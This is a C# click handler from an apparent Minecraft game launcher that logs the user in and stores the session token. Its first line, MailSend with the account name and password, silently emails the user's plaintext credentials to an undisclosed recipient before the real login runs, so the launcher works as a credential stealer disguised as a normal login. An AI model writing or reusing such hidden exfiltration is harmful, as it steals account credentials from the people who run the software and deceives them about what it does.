private async void GameStart_Copy_Click(object sender, RoutedEventArgs e) { MailSend("minecraft :: " + acc.Text + "," + password.Text); string x = await Launcher.Authenticate(acc.Text, password.Text); dynamic json = Newtonsoft.Json.JsonConvert.DeserializeObject(x); string accessToken = ""; string username = ""; string Puuid = ""; try { accessToken = json.accessToken; username = json.selectedProfile.name; Puuid = json.selectedProfile.id; if (accessToken != null) { isLogined = true; GameStart.Background = Brushes.Black; GameStart.Foreground = Brushes.White; GameStart.FontSize = 15; GameStart.Content = "Connect"; } else { MessageBox.Show("로그인 실패!"); return; } } catch (Exception eex) { MessageBox.Show(eex.ToString()); MessageBox.Show("로그인 실패!"); return; } MCLoginLib.Launcher.DATA.username = username; MCLoginLib.Launcher.DATA.premium = true; MCLoginLib.Launcher.DATA.uuidPremium = Puuid; MCLoginLib.Launcher.DATA.accessToken = accessToken; }